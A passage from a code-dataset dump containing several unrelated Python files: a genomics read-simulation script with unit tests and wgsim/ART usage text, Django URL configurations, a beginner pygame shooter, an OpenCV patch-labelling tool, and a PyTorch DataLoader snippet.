args.read_length:\n logging.info(f\"Setting read length to {args.read_length}. Overriding template bam read length of {bam_stats['read_length']}\")\n bam_stats[\"read_length\"] = args.read_length\n output_filename_prefix += f\"__{args.read_length}_readlen\"\n\n if args.coverage:\n args.coverage = int(args.coverage)\n logging.info(f\"Setting coverage to {args.coverage}x. Overriding template bam mean coverage of {bam_stats['mean_coverage']}\")\n bam_stats[\"mean_coverage\"] = args.coverage\n output_filename_prefix += f\"__{args.coverage}x_coverage\"\n\n if args.wgsim_base_error_rate:\n output_filename_prefix += f\"__wgsim_e-{args.wgsim_base_error_rate}\"\n\n # generate simulated ref allele if args.het\n if args.het:\n if args.num_copies2:\n logging.info(f\"Simulating ALT allele1 with {args.num_copies2} copies of the repeat.\")\n synthetic_alt_allele1_reference_sequence = generate_synthetic_reference_sequence(\n fasta_obj,\n chrom,\n start_1based,\n end_1based,\n args.padding,\n args.new_repeat_unit,\n args.num_copies2)\n ref_reads_output_prefix = f\"{output_filename_prefix}__{sim_tool_name}__{args.num_copies2:4d}x{args.new_repeat_unit}__het_ref_allele\".replace(\" \", \"_\")\n else:\n logging.info(f\"Simulating ALT allele1 with same number of copies as the reference.\")\n synthetic_alt_allele1_reference_sequence = get_reference_sequence(\n fasta_obj,\n chrom,\n start_1based - args.padding,\n end_1based + args.padding)\n ref_reads_output_prefix = f\"{output_filename_prefix}__{sim_tool_name}__het_ref_allele\"\n\n synthetic_ref_bam_path = simulate_reads(\n args,\n synthetic_alt_allele1_reference_sequence,\n bam_stats[\"read_length\"],\n bam_stats[\"mean_coverage\"] / 2, # divide by 2 to generate ref and alt .bams with 1/2 original coverage, and then merge them.\n bam_stats[\"mean_fragment_length\"],\n bam_stats[\"fragment_length_stddev\"],\n ref_reads_output_prefix)\n\n reference_bam_donut = None\n if args.num_copies_list:\n num_copies_list = [int(num_copies) for num_copies in args.num_copies_list.split(\",\")]\n elif args.num_copies_max:\n num_copies_list = range(args.num_copies, args.num_copies_max+1, args.num_copies_increment)\n else:\n num_copies_list = [args.num_copies]\n\n # simulate alt allele(s)\n for het_or_hom in ([\"het\"] if args.het else []) + ([\"hom\"] if args.hom else []):\n simulated_bam_paths = []\n for num_copies in num_copies_list:\n\n synthetic_alt_allele2_reference_sequence = generate_synthetic_reference_sequence(\n fasta_obj,\n chrom,\n start_1based,\n end_1based,\n args.padding,\n args.new_repeat_unit,\n num_copies)\n\n output_bam_prefix = f\"{output_filename_prefix}__{sim_tool_name}__{num_copies:4d}x{args.new_repeat_unit}\".replace(\" \", \"_\")\n if args.num_copies2:\n output_bam_prefix += f\"__{args.num_copies2:4d}x{args.new_repeat_unit}\".replace(\" \", \"_\")\n\n synthetic_alt_bam_path = simulate_reads(\n args,\n synthetic_alt_allele2_reference_sequence,\n bam_stats[\"read_length\"],\n bam_stats[\"mean_coverage\"] / (2 if het_or_hom == \"het\" else 1),\n bam_stats[\"mean_fragment_length\"],\n bam_stats[\"fragment_length_stddev\"],\n f\"{output_bam_prefix}__{het_or_hom}__alt_allele\")\n\n if het_or_hom == \"het\":\n merged_ref_alt_bam_path = merge_bams(\n args,\n f\"{output_bam_prefix}__{het_or_hom}__ref_alt.bam\",\n synthetic_ref_bam_path,\n synthetic_alt_bam_path)\n\n #run(f\"rm {synthetic_alt_bam_path} {synthetic_alt_bam_path}.bai\")\n else:\n merged_ref_alt_bam_path = synthetic_alt_bam_path\n\n # for merged_ref_alt_bam, print bam stats and regions in other parts of the genome to which the simulated reads\n # mis-align (eg. off-target regions) - this is just for logging\n if args.verbose:\n compute_bam_stats(\n args,\n merged_ref_alt_bam_path,\n chrom,\n start_1based - args.padding,\n end_1based + args.padding)\n\n compute_off_target_regions(\n merged_ref_alt_bam_path,\n args.ref_fasta_path,\n interval=f\"{chrom}:{start_1based - args.padding}-{end_1based + args.padding}\",\n verbose=args.verbose)\n\n simulated_bam_paths.append(merged_ref_alt_bam_path)\n\n # compute off-target regions based on all simulated bams together\n off_target_regions = None\n if args.output_off_target_regions:\n all_simulated_bams_merged_bam_path = f\"{output_filename_prefix}__{sim_tool_name}__all_{het_or_hom}.bam\"\n merge_bams(\n args,\n all_simulated_bams_merged_bam_path,\n *simulated_bam_paths)\n\n if args.set_off_target_regions:\n off_target_regions = args.set_off_target_regions.split(\",\")\n else:\n off_target_regions, _ = compute_off_target_regions(\n all_simulated_bams_merged_bam_path,\n args.ref_fasta_path,\n f\"{chrom}:{start_1based - args.padding}-{end_1based + args.padding}\",\n coverage_threshold=args.min_off_target_coverage, verbose=True)\n off_target_regions = [r for r, read_count in off_target_regions]\n\n if args.off_target_regions_padding:\n off_target_regions = [\n f\"{chrom}:{min(1, start - args.off_target_regions_padding)}-{end + args.off_target_regions_padding}\"\n for chrom, start, end in [parse_interval(r) for r in off_target_regions]\n ]\n\n #run(f\"rm {all_simulated_bams_merged_bam_path} {all_simulated_bams_merged_bam_path}.bai\")\n\n # if --insert-simulated-reads-into-template-bam, merge the synthetic bam(s) with the reference donut .bam\n if args.insert_simulated_reads_into_template_bam:\n if reference_bam_donut is None:\n # create copy of the template bam file, but without reads at the locus where reads are being simulated.\n # make the hole smaller by read_length on each side so that simulated bams fit in the hole without a drop in coverage at the seams.\n reference_bam_donut = generate_bam_donut(\n args,\n chrom,\n start_1based - args.padding + bam_stats[\"read_length\"],\n end_1based + args.padding - bam_stats[\"read_length\"],\n off_target_regions,\n f\"{output_filename_prefix}__reference_bam_donut\")\n\n simulated_bam_paths_with_original = []\n for simulated_bam_path in simulated_bam_paths:\n output_bam_path = simulated_bam_path.replace(\".bam\", \"__with_original_data.bam\")\n merge_bams(\n args,\n output_bam_path,\n reference_bam_donut,\n simulated_bam_path)\n\n simulated_bam_paths_with_original.append(output_bam_path)\n simulated_bam_paths = simulated_bam_paths_with_original\n\n # rename output bam\n for simulated_bam_path in simulated_bam_paths:\n final_bam_path = simulated_bam_path.replace(\".bam\", \"\")\n if args.output_off_target_regions:\n final_bam_path += f\"__with_{len(off_target_regions)}_off_target_regions\"\n final_bam_path += \"__simulated.bam\"\n\n run(f\"ln -f -s {simulated_bam_path} {final_bam_path}\")\n run(f\"ln -f -s {simulated_bam_path}.bai {final_bam_path}.bai\")\n\n # write bam_stats.json\n logging.info(\"Writing out bam_stats.json\")\n with open(f\"bam_stats.json\", \"w\") as reference_bam_stats_file:\n json.dump(bam_stats, reference_bam_stats_file)\n\n # write repeat_regions.bed\n logging.info(\"Writing out repeat_regions.bed\")\n with open(f\"repeat_regions.bed\", \"w\") as repeat_region_bed_file:\n repeat_region_bed_file.write(\"\\t\".join(map(str, [\n chrom,\n start_1based - 1,\n end_1based,\n args.new_repeat_unit,\n num_copies, # max number of copies that were simulated above\n \",\".join(off_target_regions) if off_target_regions is not None else \"\",\n #\",\".join(sorted(off_target_regions, key=genomic_order)),\n ])) + \"\\n\")\n\n\ndef generate_synthetic_reference_sequence(fasta_obj, chrom, start_1based, end_1based, padding_length, repeat_unit, num_copies):\n \"\"\"Generates a nucleotide sequence that consists of {num_copies} of the {repeat_unit} surrounded by {padding_length}\n bases from the reference on either side of the interval given by {chrom}:{start_1based}-{end_1based}.\n \"\"\"\n\n if padding_length == 0:\n return repeat_unit * num_copies\n\n left_padding_start_1based = max(1, start_1based - padding_length)\n left_padding = get_reference_sequence(fasta_obj, chrom, left_padding_start_1based, start_1based - 1)\n\n chromosome_length = len(fasta_obj[chrom])\n right_padding_end_1based = min(end_1based + padding_length, chromosome_length)\n right_padding = get_reference_sequence(fasta_obj, chrom, end_1based + 1, right_padding_end_1based)\n\n return left_padding + repeat_unit * num_copies + right_padding\n\n\ndef compute_off_target_regions(merged_bam_path, ref_fasta_path, interval=None, coverage_threshold=5, verbose=False):\n \"\"\"Returns a list of genomic intervals that are outside the locus given by {chrom}:{start_1based}-{end_1based}\n but contain at least {coverage_threshold} aligned reads. This means that reads from the given locus can mis-align to\n these other regions.\n \"\"\"\n\n #on_target_count = int(run(f\"samtools view -c {merged_bam_path} {chrom}:{start_1based}-{end_1based}\"))\n\n # compute off-target regions command\n off_target_reads_command = \"\"\n if interval is not None:\n chrom, start_1based, end_1based = parse_interval(interval)\n logging.info(f\"Computing off-target regions for {chrom}:{start_1based}-{end_1based}...\")\n off_target_reads_command = f\"echo '{chrom}\\t{start_1based - 1}\\t{end_1based}' \"\n off_target_reads_command += f\"| bedtools intersect -nonamecheck -v -wa -a {merged_bam_path} -b - \"\n off_target_reads_command += f\"| samtools view -F 4 -b - \" # exclude unmapped reads because this causes errors\n else:\n off_target_reads_command += f\"samtools view -F 4 -b {merged_bam_path} \" # exclude unmapped reads because this causes errors\n\n logging.info(f\"Coverage threshold to output an off-target region: {coverage_threshold}\")\n\n off_target_reads_command += f\"| bedtools merge -d 100 \" # merge reads' intervals\n off_target_reads_command += f\"| bedtools slop -b 150 -g {ref_fasta_path}.fai \"\n off_target_reads_command += f\"| bedtools sort \"\n off_target_reads_command += f\"| bedtools intersect -nonamecheck -wa -a - -b {merged_bam_path} -c \" # add counts of how many reads mapped to each off-target interval\n off_target_reads_command += f\"| sort -n -k4 -r \" # sort by these counts, so that the 1st interval is the one with the most reads, etc.\n off_target_regions = [off_target_region for off_target_region in run(off_target_reads_command).strip().split(\"\\n\") if off_target_region]\n\n # print some stats\n total_read_count = int(run(f\"samtools view -c {merged_bam_path}\"))\n\n try:\n off_target_read_count = sum([int(off_target_region.split(\"\\t\")[-1]) for off_target_region in off_target_regions])\n except ValueError:\n off_target_read_count = 0\n\n if total_read_count > 0:\n fraction_of_reads_that_map_to_off_target_regions = off_target_read_count/total_read_count\n else:\n fraction_of_reads_that_map_to_off_target_regions = 0\n\n logging.info(f\"Found {len(off_target_regions)} off-target regions. \"\n f\"{off_target_read_count} out of {total_read_count} reads \"\n f\"({0 if not total_read_count else (100*off_target_read_count/total_read_count):0.1f}%) \"\n f\"map to these off-target regions.\")\n\n if verbose or len(off_target_regions) <= 7:\n logging.info(\"\\n\" + \"\\n\".join(off_target_regions))\n\n off_target_region_list = []\n for off_target_region in off_target_regions:\n fields = off_target_region.strip(\"\\n\").split(\"\\t\")\n if len(fields) <= 3:\n logging.warning(f\"Counts column missing for off_target_region: {off_target_region}. Skipping...\" )\n continue\n\n # Skip loci with less than {coverage_threshold} reads in order to reduce noise\n num_reads_mapped_to_region = int(fields[3])\n if num_reads_mapped_to_region < coverage_threshold:\n continue\n off_target_region_list.append((f\"{fields[0]}:{max(1, int(fields[1]))}-{int(fields[2])}\", num_reads_mapped_to_region))\n\n return off_target_region_list, fraction_of_reads_that_map_to_off_target_regions\n\n\nif __name__ == \"__main__\":\n main()\n\n\nclass Tests(unittest.TestCase):\n\n def setUp(self):\n self.temp_fasta_file = tempfile.NamedTemporaryFile(\"w\", suffix=\".fasta\", delete=False)\n self.temp_fasta_file.write(\">chrTest1\\n\")\n self.temp_fasta_file.write(\"ACGTACGT\\n\")\n\n self.temp_fasta_file.write(\">chrTest2\\n\")\n self.temp_fasta_file.write(f\"ACGT{'CAG'*2}ACGT\\n\")\n self.temp_fasta_file.close()\n\n self.fasta_obj = pyfaidx.Fasta(self.temp_fasta_file.name, one_based_attributes=False, as_raw=True)\n\n\n def test_get_reference_sequence(self):\n seq = get_reference_sequence(self.fasta_obj, chrom=\"chrTest1\", start_1based=1, end_1based=5)\n self.assertEqual(seq, \"ACGTA\")\n\n seq = get_reference_sequence(self.fasta_obj, chrom=\"chrTest1\", start_1based=8, end_1based=8)\n self.assertEqual(seq, \"T\")\n\n seq = get_reference_sequence(self.fasta_obj, chrom=\"chrTest1\", start_1based=8, end_1based=10)\n self.assertEqual(seq, \"T\")\n\n seq = get_reference_sequence(self.fasta_obj, chrom=\"chrTest1\", start_1based=9, end_1based=20)\n self.assertEqual(seq, \"\")\n\n seq = get_reference_sequence(self.fasta_obj, chrom=\"chrTest1\", start_1based=0, end_1based=1)\n self.assertEqual(seq, \"\")\n\n\n def test_generate_synthetic_reference_sequence(self):\n seq = generate_synthetic_reference_sequence(self.fasta_obj, chrom=\"chrTest2\", start_1based=5, end_1based=10, padding_length=4, repeat_unit=\"CAG\", num_copies=0)\n self.assertEqual(seq, \"ACGTACGT\")\n\n seq = generate_synthetic_reference_sequence(self.fasta_obj, chrom=\"chrTest2\", start_1based=5, end_1based=10, padding_length=2, repeat_unit=\"CAG\", num_copies=0)\n self.assertEqual(seq, \"GTAC\")\n\n seq = generate_synthetic_reference_sequence(self.fasta_obj, chrom=\"chrTest2\", start_1based=5, end_1based=10, padding_length=2, repeat_unit=\"CAG\", num_copies=3)\n self.assertEqual(seq, \"GTCAGCAGCAGAC\")\n\n seq = generate_synthetic_reference_sequence(self.fasta_obj, chrom=\"chrTest2\", start_1based=5, end_1based=10, padding_length=2, repeat_unit=\"CAG\", num_copies=10)\n self.assertEqual(seq, \"GTCAGCAGCAGCAGCAGCAGCAGCAGCAGCAGAC\")\n\n def tearDown(self):\n if os.path.isfile(self.temp_fasta_file.name):\n os.remove(self.temp_fasta_file.name)\n\n\n\n# wgsim command line options\n\"\"\"\nwgsim [options] \n\nOptions: -e FLOAT base error rate [0.020]\n -d INT outer distance between the two ends [500]\n -s INT standard deviation [50]\n -N INT number of read pairs [1000000]\n -1 INT length of the first read [70]\n -2 INT length of the second read [70]\n -r FLOAT rate of mutations [0.0010]\n -R FLOAT fraction of indels [0.15]\n -X FLOAT probability an indel is extended [0.30]\n -S INT seed for random generator [0, use the current time]\n -A FLOAT discard if the fraction of ambiguous bases higher than FLOAT [0.05]\n -h haplotype mode\n \n\"\"\"\n\n\n# art_illumina command line options\n\"\"\"\n\n\n ====================ART====================\n ART_Illumina (2008-2016)\n Q Version 2.5.8 (June 6, 2016)\n Contact: Weichun Huang \n -------------------------------------------\n\n===== USAGE =====\n\nart_illumina [options] -ss -sam -i -l -f -o \nart_illumina [options] -ss -sam -i -l -c -o \nart_illumina [options] -ss -sam -i -l -f -m -s -o \nart_illumina [options] -ss -sam -i -l -c -m -s -o \n\n===== PARAMETERS =====\n\n -1 --qprof1 the first-read quality profile\n -2 --qprof2 the second-read quality profile\n -amp --amplicon amplicon sequencing simulation\n -c --rcount number of reads/read pairs to be generated per sequence/amplicon (not be used together with -f/--fcov)\n -d --id the prefix identification tag for read ID\n -ef --errfree indicate to generate the zero sequencing errors SAM file as well the regular one\n NOTE: the reads in the zero-error SAM file have the same alignment positions\n as those in the regular SAM file, but have no sequencing errors\n -f --fcov the fold of read coverage to be simulated or number of reads/read pairs generated for each amplicon\n -h --help print out usage information\n -i --in the filename of input DNA/RNA reference\n -ir --insRate the first-read insertion rate (default: 0.00009)\n -ir2 --insRate2 the second-read insertion rate (default: 0.00015)\n -dr --delRate the first-read deletion rate (default: 0.00011)\n -dr2 --delRate2 the second-read deletion rate (default: 0.00023)\n -k --maxIndel the maximum total number of insertion and deletion per read (default: up to read length)\n -l --len the length of reads to be simulated\n -m --mflen the mean size of DNA/RNA fragments for paired-end simulations\n -mp --matepair indicate a mate-pair read simulation\n -M --cigarM indicate to use CIGAR 'M' instead of '=/X' for alignment match/mismatch\n -nf --maskN the cutoff frequency of 'N' in a window size of the read length for masking genomic regions\n NOTE: default: '-nf 1' to mask all regions with 'N'. Use '-nf 0' to turn off masking\n -na --noALN do not output ALN alignment file\n -o --out the prefix of output filename\n -p --paired indicate a paired-end read simulation or to generate reads from both ends of amplicons\n NOTE: art will automatically switch to a mate-pair simulation if the given mean fragment size >= 2000\n -q --quiet turn off end of run summary\n -qL --minQ the minimum base quality score\n -qU --maxQ the maxiumum base quality score\n -qs --qShift the amount to shift every first-read quality score by\n -qs2 --qShift2 the amount to shift every second-read quality score by\n NOTE: For -qs/-qs2 option, a positive number will shift up quality scores (the max is 93)\n that reduce substitution sequencing errors and a negative number will shift down\n quality scores that increase sequencing errors. If shifting scores by x, the error\n rate will be 1/(10^(x/10)) of the default profile.\n -rs --rndSeed the seed for random number generator (default: system time in second)\n NOTE: using a fixed seed to generate two identical datasets from different runs\n -s --sdev the standard deviation of DNA/RNA fragment size for paired-end simulations.\n -sam --samout indicate to generate SAM alignment file\n -sp --sepProf indicate to use separate quality profiles for different bases (ATGC)\n -ss --seqSys The name of Illumina sequencing system of the built-in profile used for simulation\n NOTE: sequencing system ID names are:\n GA1 - GenomeAnalyzer I (36bp,44bp), GA2 - GenomeAnalyzer II (50bp, 75bp)\n HS10 - HiSeq 1000 (100bp), HS20 - HiSeq 2000 (100bp), HS25 - HiSeq 2500 (125bp, 150bp)\n HSXn - HiSeqX PCR free (150bp), HSXt - HiSeqX TruSeq (150bp), MinS - MiniSeq TruSeq (50bp)\n MSv1 - MiSeq v1 (250bp), MSv3 - MiSeq v3 (250bp), NS50 - NextSeq500 v2 (75bp)\n===== NOTES =====\n\n* ART by default selects a built-in quality score profile according to the read length specified for the run.\n\n* For single-end simulation, ART requires input sequence file, output file prefix, read length, and read count/fold coverage.\n\n* For paired-end simulation (except for amplicon sequencing), ART also requires the parameter values of\n the mean and standard deviation of DNA/RNA fragment lengths\n\n===== EXAMPLES =====\n\n 1) single-end read simulation\n \tart_illumina -ss HS25 -sam -i reference.fa -l 150 -f 10 -o single_dat\n\n 2) paired-end read simulation\n art_illumina -ss HS25 -sam -i reference.fa -p -l 150 -f 20 -m 200 -s 10 -o paired_dat\n\n 3) mate-pair read simulation\n art_illumina -ss HS10 -sam -i reference.fa -mp -l 100 -f 20 -m 2500 -s 50 -o matepair_dat\n\n 4) amplicon sequencing simulation with 5' end single-end reads\n \tart_illumina -ss GA2 -amp -sam -na -i amp_reference.fa -l 50 -f 10 -o amplicon_5end_dat\n\n 5) amplicon sequencing simulation with paired-end reads\n art_illumina -ss GA2 -amp -p -sam -na -i amp_reference.fa -l 50 -f 10 -o amplicon_pair_dat\n\n 6) amplicon sequencing simulation with matepair reads\n art_illumina -ss MSv1 -amp -mp -sam -na -i amp_reference.fa -l 150 -f 10 -o amplicon_mate_dat\n\n 7) generate an extra SAM file with zero-sequencing errors for a paired-end read simulation\n art_illumina -ss HSXn -ef -i reference.fa -p -l 150 -f 20 -m 200 -s 10 -o paired_twosam_dat\n\n 8) reduce the substitution error rate to one 10th of the default profile\n art_illumina -i reference.fa -qs 10 -qs2 10 -l 50 -f 10 -p -m 500 -s 10 -sam -o reduce_error\n\n 9) turn off the masking of genomic regions with unknown nucleotides 'N'\n art_illumina -ss HS20 -nf 0 -sam -i reference.fa -p -l 100 -f 20 -m 200 -s 10 -o paired_nomask\n\n 10) masking genomic regions with >=5 'N's within the read length 50\n art_illumina -ss HSXt -nf 5 -sam -i reference.fa -p -l 150 -f 20 -m 200 -s 10 -o paired_maskN5\n\n\"\"\"\n","sub_path":"docker/base-scripts/simulate/generate_simulated_bams.py","file_name":"generate_simulated_bams.py","file_ext":"py","file_size_in_byte":30968,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"2714417","text":"from django.conf.urls import patterns, include, url\nfrom django.contrib import admin\nfrom jlblog.views import *\nfrom jlblog.upload import *\nfrom jlblog.myAdminViews import uploadview\n\nurlpatterns = patterns('',\n # Examples:\n # url(r'^$', 'MyWebBlog.views.home', name='home'),\n # url(r'^blog/', include('blog.urls')),\n\n url(r'^admin/', include(admin.site.urls)),\n\n url(r'',home),\n url(r'^home/$', home),\n url(r'^home/page/(?P\\d*)/$', home),\n url(r'^home/artical/category,/(?P\\d*)/page/(?P\\d*)/$', home),\n\n url(r'^artical/detail/(?P\\d)/$', fullartical),\n\n url(r'^aboutme/$', aboutme),\n url(r'^album/(?P.*)/$', album),\n\n url(r'^guestbook/$', guestbook),\n url(r'^login/$', login),\n url(r'^logout/$', logout),\n url(r'^register/$', register),\n\n url(r'^upload/(?P.*)/$', uploadview),\n url(r'^savephoto/$', savephoto),\n url(r'^savealbum/$', savealbum),\n url(r'^saveartical/$', saveartical),\n\n )\n","sub_path":"MyWebBlog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1373,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"463482281","text":"import pygame #import\r\nimport random\r\n\r\npygame.init() #this is what initialize pygame. It should be written each time\r\n\r\n#Defining the screen dimension and creating it\r\nscreen = pygame.display.set_mode((800, 600))\r\n\r\n#Setting Caption and Icon\r\npygame.display.set_caption(\"Basics of Pygame-Carlo\")\r\n\r\nicon = pygame.image.load(\"python.png\") #opening the image. We can also put this in set_icon() parameter, but this is more readable\r\npygame.display.set_icon(icon)\r\n\r\n#Setting Player\r\nplayerimg = pygame.image.load(\"police.png\")\r\nplayerX = 370\r\nplayerY = 480\r\nplayerx_change = 0 #This value is useful to change the playerimg position just pressing one time the keystroke. Without this we should spam left or right click.\r\n\r\n#Setting Enemy. It works as the playerImg so we are going to create a function that will called in the while loop\r\nenemyimg = pygame.image.load(\"car.png\")\r\nenemyX = 370\r\nenemyY = 45\r\nenemyx_change = 2 #speed of the enemy on the x axe\r\nenemyy_change = 20 #how many pixels does the enemy moves on the Y axe after touching the edge on x axe\r\n\r\n#Setting Bullet\r\n #ready state = not visible\r\n #fire state = you can see it\r\nbulletimg = pygame.image.load(\"bullet.png\")\r\nbulletX = 0\r\nbulletY = 480\r\nbulletx_change = 0 #This is not useful\r\nbullety_change = 10\r\nbullet_state = \"ready\"\r\n\r\n#setting background image\r\nbackground = pygame.image.load(\"background.png\")\r\n\r\ndef player(x,y): #we made a function because the Img coordinates are going to change\r\n screen.blit(playerimg, (x, y))\r\n\r\ndef enemy(x,y): #we made a function because the Img coordinates are going to change\r\n screen.blit(enemyimg, (x, y))\r\n\r\ndef fire_bullet(x,y):\r\n global bullet_state\r\n bullet_state = \"fire\"\r\n screen.blit(bulletimg,(x + 16,y + 10)) #we added +16 and +10 at the cordinates since we want the bullet coming from the centre of the playerimg\r\n\r\nrunning = True\r\nwhile running: #while loop to maintain the screen. It wouldn't stay open without a loop. It says while it's running, if the vent = closing tab event, while loop stops so the screen closes.\r\n\r\n # Changing background color\r\n screen.fill((192, 200, 192))\r\n # background image\r\n screen.blit(background, (0, 0))\r\n\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT: #remember event.type\r\n running=False\r\n\r\n if event.type == pygame.KEYDOWN: #If a keystroke is pressed, checks what arrow is\r\n print(\"Keystroke pressed\")\r\n if event.key == pygame.K_RIGHT: #Now it's event.key because we are going to see what key\r\n playerx_change += 3\r\n elif event.key == pygame.K_LEFT:\r\n playerx_change -= 3\r\n elif event.key == pygame.K_SPACE:\r\n fire_bullet(playerX,bulletY)\r\n elif event.type == pygame.KEYUP: #KEYUP is when a key is released. KEYDOWN is when pressed\r\n if event.key == pygame.K_RIGHT or event.key == pygame.K_LEFT:\r\n print(\"Keystroke released\")\r\n playerx_change = 0\r\n\r\n #Calling the function that draw the image and \"prints\" it on the screen. It's after the screen changing code because it's like photoshop, it works with levels.\r\n playerX += playerx_change\r\n\r\n #stop the ship at the edge of the screen\r\n if playerX <= 0:\r\n playerX = 0\r\n elif playerX >= 736: #736 (screen pixels) + 64 (icon pixels) = 800 pixels\r\n playerX = 736\r\n\r\n #same as the if statements before player()\r\n enemyX += enemyx_change\r\n if enemyX <= 0:\r\n enemyx_change = 2\r\n enemyY += enemyy_change\r\n elif enemyX >= 736: #736 (screen pixels) + 64 (icon pixels) = 800 pixels\r\n enemyx_change = -2\r\n enemyY += enemyy_change\r\n\r\n #bullet movement\r\n if bullet_state is \"fire\":\r\n fire_bullet(playerX,bulletY)\r\n bulletY -= bullety_change\r\n\r\n player(playerX, playerY)\r\n enemy(enemyX,enemyY)\r\n\r\n pygame.display.update() #The update() function is usefull to apply the changes\r\n\r\n\"\"\"\r\nToday I've added the shootin feature but it's not completed because the user can shoot only one bullet and the bullet follows the icon coordinates even if it's shot\r\n\"\"\"\r\n","sub_path":"basics_of_pygame_6.py","file_name":"basics_of_pygame_6.py","file_ext":"py","file_size_in_byte":4164,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"608846268","text":"import os\r\nimport cv2\r\nimport numpy as np\r\nimport imutils\r\n\r\nimport time\r\n\r\nix,iy = -1,-1\r\ns = 50\r\nr = 2\r\n\r\n# mouse callback function\r\ndef draw_circle(event,x,y,flags,param):\r\n global ix, iy, s, r, img\r\n ix,iy = x, y\r\n if event == cv2.EVENT_LBUTTONUP:\r\n print('click!')\r\n cv2.imwrite('Dirt_Good/' + str(time.time()) + '.png',\r\n img[y - s // 2 + 2 : y + s // 2 - 2, x - s // 2 + 2: x + s // 2 - 2])\r\n for i in range(-r, r + 1):\r\n for j in range(-r, r + 1):\r\n if i == j: continue\r\n cv2.imwrite('Dirt_Bad/' + str(time.time()) + '.png',\r\n img[y - s // 2 + 2 + j * s: y + s // 2 - 2 + j * s, x - s // 2 + 2 + i * s: x + s // 2 - 2 + i * s])\r\n if event == cv2.EVENT_RBUTTONUP:\r\n print('declick!')\r\n cv2.imwrite('Dirt_Bad/' + str(time.time()) + '.png',\r\n img[y - s // 2 + 2 : y + s // 2 - 2, x - s // 2 + 2: x + s // 2 - 2])\r\n elif event == cv2.EVENT_MOUSEWHEEL:\r\n if flags > 0:\r\n s += 1\r\n else:\r\n s -= 1\r\n elif event == cv2.EVENT_MOUSEHWHEEL:\r\n s += 1\r\n\r\ndef setka(img, x, y, s):\r\n global r\r\n for i in range(-r, r + 1):\r\n for j in range(-r, r + 1):\r\n cv2.rectangle(img, (x - s // 2 + i * s, y - s // 2 + j * s),\r\n (x + s // 2 + i * s, y + s // 2 + j * s), (0, 0, 255), 1)\r\n cv2.rectangle(img, (x - s // 2, y - s // 2),\r\n (x + s // 2, y + s // 2), (0, 255, 0), 2)\r\n return img\r\n\r\n# Create a black image, a window and bind the function to window\r\nimg = np.zeros((512,512,3), np.uint8)\r\ncv2.namedWindow('image')\r\ncv2.setMouseCallback('image',draw_circle)\r\n\r\npath = 'Data'\r\nfls = os.listdir(path)\r\ncounter = 0\r\n\r\nwhile(1):\r\n img = cv2.imread(path + '/' +fls[counter])\r\n img = imutils.resize(img, height=720, inter=cv2.INTER_NEAREST)\r\n img = setka(img, ix, iy, s)\r\n \r\n cv2.imshow('image',img)\r\n k = cv2.waitKey(1) & 0xFF\r\n if k == 27:\r\n break\r\n elif k == ord('a'):\r\n counter += 1\r\n elif k == ord('2'):\r\n r += 1\r\n elif k == ord('1'):\r\n r -= 1\r\n elif k == ord('['):\r\n s -= 10\r\n elif k == ord(']'):\r\n s += 10\r\ncv2.destroyAllWindows()\r\n","sub_path":"separator.py","file_name":"separator.py","file_ext":"py","file_size_in_byte":2106,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"424953321","text":"from django.conf.urls import patterns, include, url\nfrom django.contrib import admin\nfrom django.views.generic import TemplateView\n\nfrom main.views import HomeView, MainView\nfrom dictionary.views import DictionaryView, DictionaryHandlerView\n\nadmin.autodiscover()\n\nurlpatterns = patterns('',\n # Examples:\n # url(r'^$', 'igoahead.views.home', name='home'),\n # url(r'^blog/', include('blog.urls')),\n url(r'^admin/', include(admin.site.urls)),\n url(r'^$', HomeView.as_view(), name=\"home\"),\n url(r'^resume$', MainView.as_view(template_name=\"main/resume.html\")),\n url(r'^about$', MainView.as_view(template_name=\"main/about.html\")),\n url(r'^achievements$', MainView.as_view(template_name=\"main/achievements.html\")),\n url(r'^games/', include('games.urls')),\n url(r'^log_in$', 'main.views.sign_in', name=\"log_in\"),\n url(r'^log_out$', 'main.views.sign_out', name=\"log_out\"),\n url(r'^sign_up$', 'main.views.sign_up', name=\"sign_up\"),\n \n # possibly ? sign incoming =)\n url(r'^dictionary$', DictionaryView.as_view(), name=\"dictionary\"),\n url(r'^dictionary_handler$', DictionaryHandlerView.as_view(), name=\"dictionary_handler\"),\n \n url(r'^transletter$', MainView.as_view(template_name=\"transletter/base.html\")),\n \n #url(r'^quotes/',''),\n #url(r'^readbooks/',''),\n)\n","sub_path":"igoahead/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1314,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"151007860","text":"__author__ = 'bloe'\n\nimport logging\n\nclass CommandLineArguments:\n\n config_path = None\n service_folder = None\n etcd_endpoint = None\n fleet_endpoint = None\n rabbitmq_endpoint = None\n\n def __init__(self, argument_parser_result):\n self._logger = logging.getLogger(__name__)\n\n self.service_folder = argument_parser_result.service_folder\n self.etcd_endpoint = argument_parser_result.etcd_endpoint\n self.config_path = argument_parser_result.config_file\n self.rabbitmq_endpoint = argument_parser_result.rabbitmq_endpoint\n self.fleet_endpoint = argument_parser_result.fleet_endpoint\n\n def log_arguments(self):\n self._logger.info(\"Using ectd endpoint %s\", self.etcd_endpoint)\n self._logger.info(\"Using config path %s\", self.config_path)\n self._logger.info(\"Using fleet endpoint %s\", self.fleet_endpoint)\n if self.rabbitmq_endpoint:\n self._logger.info(\"Using rabbitmq endpoint %s\", self.rabbitmq_endpoint)\n","sub_path":"dynamite/INIT/CommandLineArguments.py","file_name":"CommandLineArguments.py","file_ext":"py","file_size_in_byte":997,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"431180714","text":"from torch.utils.data import DataLoader\n\ntrain_dataloader = DataLoader(training_data, batch_size=64, shuffle=True)\ntest_dataloader = DataLoader(test_data, batch_size=64, shuffle=True)\n\n# Display image and label.\ntrain_features, train_labels = next(iter(train_dataloader))\nprint(f\"Feature batch shape: {train_features.size()}\")\nprint(f\"Labels batch shape: {train_labels.size()}\")\nimg = train_features[0].squeeze()\nlabel = train_labels[0]\nplt.imshow(img, cmap=\"gray\")\nplt.show()\nprint(f\"Label: 